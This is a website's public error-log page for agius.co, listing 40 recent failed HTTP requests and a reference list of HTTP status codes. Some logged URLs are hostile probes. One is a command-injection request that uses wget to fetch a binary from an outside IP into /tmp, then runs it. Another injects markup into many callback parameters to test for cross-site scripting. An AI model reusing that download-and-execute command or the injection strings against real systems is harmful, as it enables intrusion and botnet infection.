Website Error Log.
  https://agius.co 

This page lists the last few HTTP errors on this website.
  Date/Time = The website date and time someone tried to load the page. 
  IP address = The IP address of the user trying to load the page. 
  Page URL = The address of the page that could not be loaded. 
  Status = The HTTP status codes. (See list below) 
Note:
The following URL's would not load on the listed error date, but may have been OK before and/or after this date.
 Date:  Time:  IP address:  Page URL:  Status:
14/07/2026 11:55am  43.135.107.159  https://agius.co/415.shtml  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/TH3V1UPPRBH4L3E051IHXFEYLUHHNK7-  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/C9QP8OZDWIKEG2CI5LUR_SXO_V8ZSPFT  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/29H2V-5-5U8JQH_YN_O-5G5BEFJ59YND  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/7UGE_06G6VLPI5JHX36KXQOY7WD8YZX9  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/W3_7XM9M9H_04CIVNVFX8CNSE0U3USRP  404 
14/07/2026 11:25am  213.155.2.229  http://mail.swiftdomainhosting.com/.well-known/acme-challenge/QPT2S3K4EZDWC2JA824AN4RDC4QZO-T4  404 
14/07/2026 11:25am  213.155.2.229  http://www.swiftdomainhosting.com/.well-known/acme-challenge/4GQYDKEGMVO4UK99DDPM48FHRTKWWO48  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/JN33Z2-0BQ91255JL-93OW-NI36E-FT0  404 
14/07/2026 11:25am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/BAV5TZV9_3395APE2810ATN-W7_0M9AO  404 
14/07/2026 11:08am  47.128.60.19  https://agius.co/robots.txt  403 
14/07/2026 10:34am  69.156.132.177  http://127.0.0.1:80/shell?cd+/tmp;wget+http://196.251.121.142/a3f8d2/kaizen.arm7sf_srv+-O+.k;chmod+777+.k;./.k  404 
14/07/2026 10:24am  69.5.169.59  http://213.155.2.230/mcp  404 
14/07/2026 10:10am  20.168.0.218  https://213.155.2.230/owa/auth/logon.aspx  404 
14/07/2026 10:10am  103.131.146.37  http://www.dilbilimi.nethttp://www.dilbilimi.net/terminology_T.htm  404 
14/07/2026 8:59am  45.205.1.198  http://213.155.2.230:80/index.htm  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/-FDYJOX7DIH5UN88BAPAUQNYIIOCPO53  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/IPMPY4LNBBKPWNQR4J-45FYE69LAZBG3  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/LFW65SVV275Z729LQ1JC1UPPAWOYMAGQ  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/-8ILVI0AKG3WK_N_Z0VUK4X301DC9NAP  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/RNQR70SM0A4ZL791D7L3KWQPPI5MJM7C  404 
14/07/2026 8:19am  213.155.2.229  http://mail.swiftdomainhosting.com/.well-known/acme-challenge/H1M3X2BJ0_JNH7YT_R3U5YRX4XBNO2N_  404 
14/07/2026 8:19am  213.155.2.229  http://www.swiftdomainhosting.com/.well-known/acme-challenge/TQ-W1GW25D2BA4P6653DB8DBK63QN23W  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/9YH-JMTCL2IM5J-8I9ZMLI_HY5B851VZ  404 
14/07/2026 8:19am  213.155.2.229  http://swiftdomainhosting.com/.well-known/acme-challenge/ENR1IRKBWSLSFYG73URUAB1_P_NUQJT9  404 
14/07/2026 8:02am  110.249.201.22  https://agius.co/errors/error-image.php?Title=HTTP%20403%20-%20Forbidden%20access&Image=../files/clock_01.png&Message=No%20entry|I.P.%20value;%20%20%20%20%20110.249.201.22|Host%20name;%20%20bytespider-110-249-201-22.crawl.bytedance.com|Date%20/%20time;%20%2014/07/2026%20-%208:02am|Status%20code;%20403&Msg2=URL;%20https://agius.co/webwindow/download.shtml  403 
14/07/2026 8:02am  110.249.201.22  https://agius.co/files/elecrytears.gif  403 
14/07/2026 8:02am  110.249.201.22  https://agius.co/webwindow/download.shtml  403 
14/07/2026 8:01am  110.249.202.149  https://agius.co/errors/error-image.php?Title=HTTP%20403%20-%20Forbidden%20access&Image=../files/clock_01.png&Message=No%20entry|I.P.%20value;%20%20%20%20%20110.249.202.149|Host%20name;%20%20bytespider-110-249-202-149.crawl.bytedance.com|Date%20/%20time;%20%2014/07/2026%20-%208:01am|Status%20code;%20403&Msg2=URL;%20https://agius.co/webwindow/CommercialVersion/download.php  403 
14/07/2026 8:01am  110.249.202.149  https://agius.co/files/elecrytears.gif  403 
14/07/2026 8:01am  110.249.202.149  https://agius.co/webwindow/CommercialVersion/download.php  403 
14/07/2026 7:51am  165.227.62.247  http://213.155.2.230/.well-known/security.txt  404 
14/07/2026 7:51am  165.227.62.247  http://213.155.2.230/sitemap.xml  404 
14/07/2026 7:47am  66.132.172.47  http://213.155.2.230/security.txt  404 
14/07/2026 6:58am  137.184.45.148  http://rhea-230.uk2group.com/test22.txt  404 
14/07/2026 6:58am  137.184.45.148  http://rhea-230.uk2group.com/test22.txt  405 
14/07/2026 6:58am  137.184.45.148  http://rhea-230.uk2group.com/metadata/svg?%3Cpizza%3E%3Ccats%3E%3Cducks%3E=a%22%3E%3Cb  404 
14/07/2026 6:58am  137.184.45.148  http://rhea-230.uk2group.com/callback?state=a%22%3e%3czqd%3e&code=a%22%3e%3czqd%3e&error=a%22%3e%3czqd%3e&error_description=a%22%3e%3czqd%3e&error_message=a%22%3e%3czqd%3e&redirect_uri=a%22%3e%3czqd%3e&return_url=a%22%3e%3czqd%3e&continue=a%22%3e%3czqd%3e&next=a%22%3e%3czqd%3e&callback=a%22%3e%3czqd%3e&url=a%22%3e%3czqd%3e&dest=a%22%3e%3czqd%3e&destination=a%22%3e%3czqd%3e&target=a%22%3e%3czqd%3e&from=a%22%3e%3czqd%3e&ref=a%22%3e%3czqd%3e&referrer=a%22%3e%3czqd%3e&message=a%22%3e%3czqd%3e&reason=a%22%3e%3czqd%3e&description=a%22%3e%3czqd%3e  404 
14/07/2026 6:57am  207.90.244.28  https://213.155.2.230/sitemap.xml  404 
14/07/2026 5:31am  152.32.226.203  http://213.155.2.230:80/v1  404 
Note: Only the last 40 records are displayed here.

    HTTP status number list:
    Only some of the following are error and recorded on this website.
  • HTTP 100 = Continue. Server received request headers, and client should proceed to send the request body.
  • HTTP 101 = Switching protocols. Requester asked server to switch protocols and the server is acknowledging it.
  • HTTP 102 = Processing. The server has received and is processing the request, but no response is available yet.
  • HTTP 103 = Checkpoint. This code is used in the resumable HTTP requests. Resume/aborted PUT or POST request.
  • HTTP 122 = Request-URI too long. IE7-only code allows a maximum of 2083 characters.
  • HTTP 200 = Requested document has been processed and sent to you.
  • HTTP 201 = Created. Request fulfilled and a new resource is being created.
  • HTTP 202 = Accepted. Request has been accepted, but processing has not been completed.
  • HTTP 203 = Non-authoritative information. Server processed the request, but is returning information that may be from another source.
  • HTTP 204 = No content. Server successfully processed the request, but is not returning any content.
  • HTTP 205 = Reset content. Same as 204 response, but also requester reset of the document view.
  • HTTP 206 = Partial content. Server delivering only part of resource due to a range header sent by client.
  • HTTP 207 = Multi-status. Message body that follows is an XML message.
  • HTTP 226 = IM used. The server has fulfilled a GET request for the resource.
  • HTTP 300 = Multiple choices. The client may follow a number of different choices.
  • HTTP 301 = The document or directory has been moved permanently.
  • HTTP 302 = Found. Server received data and the redirect should be issued with a separate GET message.
  • HTTP 303 = Redirect web applications. Server received data and the redirect should be issued with a separate GET message.
  • HTTP 304 = Not modified. The resource has not been modified since last requested.
  • HTTP 305 = Use proxy.
  • HTTP 306 = Switch proxy.
  • HTTP 307 = Temporary redirect. The request should be repeated with another URI.
  • HTTP 308 = Resume Incomplete.
  • HTTP 400 = A bad HTTP request was sent from your browser to the website.
  • HTTP 401 = Unauthorised. You may have entered an invalid password.
  • HTTP 402 = Payment required to view the file or directory.
  • HTTP 403 = Forbidden. You do not have permission to view the page.
  • HTTP 404 = The file or directory was not found.
  • HTTP 405 = Method not allowed. EG. Using Get and not Post.
  • HTTP 406 = Not acceptable. Requested resource is only capable of generating content.
  • HTTP 407 = Proxy authentication required.
  • HTTP 408 = Request timeout. Server timed out waiting for the request.
  • HTTP 409 = Conflict. Request could not be processed because of conflict in the request.
  • HTTP 410 = Gone. The resource requested is no longer available and will not be available again.
  • HTTP 411 = Length required.
  • HTTP 412 = Precondition failed. The server does not meet one of the preconditions request.
  • HTTP 413 = Request entity too large. The request is larger than the server can process.
  • HTTP 414 = Request-URI is too long.
  • HTTP 415 = Unsupported media type.
  • HTTP 416 = Requested range not satisfiable. Request for portion of file that server cannot supply.
  • HTTP 417 = Expectation failed. The server cannot meet the requirements of the expect request-header.
  • HTTP 418 = I'm a teapot. This code was defined in 1998 as one of the traditional.
  • HTTP 422 = Unprocessable Entity. The request was correct but was unable to be followed due to semantic errors.
  • HTTP 423 = Locked. The resource that is being accessed is locked.
  • HTTP 424 = Failed Dependency. The request failed due to failure of a previous request.
  • HTTP 425 = Unordered Collection.
  • HTTP 426 = Upgrade required. Should switch to a different protocol.
  • HTTP 444 = No response. Nginx HTTP server extension.
  • HTTP 449 = Retry with a Microsoft extension. (Windows Parental Controls are turned on)
  • HTTP 450 = Blocked by Windows parental controls. (Windows Parental Controls are turned on)
  • HTTP 499 = Client closed request. Nginx HTTP server extension.
  • HTTP 500 = Internal Server Error. Could be bad script code, invalid .htaccess file, etc.
  • HTTP 501 = Not Implemented. Server dose not recognise the request method, or can not fulfill the request.
  • HTTP 502 = Bad Gateway. The server received an invalid response from the upstream server.
  • HTTP 503 = Service unavailable. Could be due to too much traffic for server.
  • HTTP 504 = Gateway timeout. Could be due to too much traffic for server.
  • HTTP 505 = HTTP Version not supported by website server.
  • HTTP 506 = Variant negotiates.
  • HTTP 507 = Insufficient Storage on webdite server.
  • HTTP 509 = Bandwidth Limit Exceeded for website.
  • HTTP 510 = Not Extended.
This page was last updated on;
14/07/2026 - 12:00pm GMT / UTC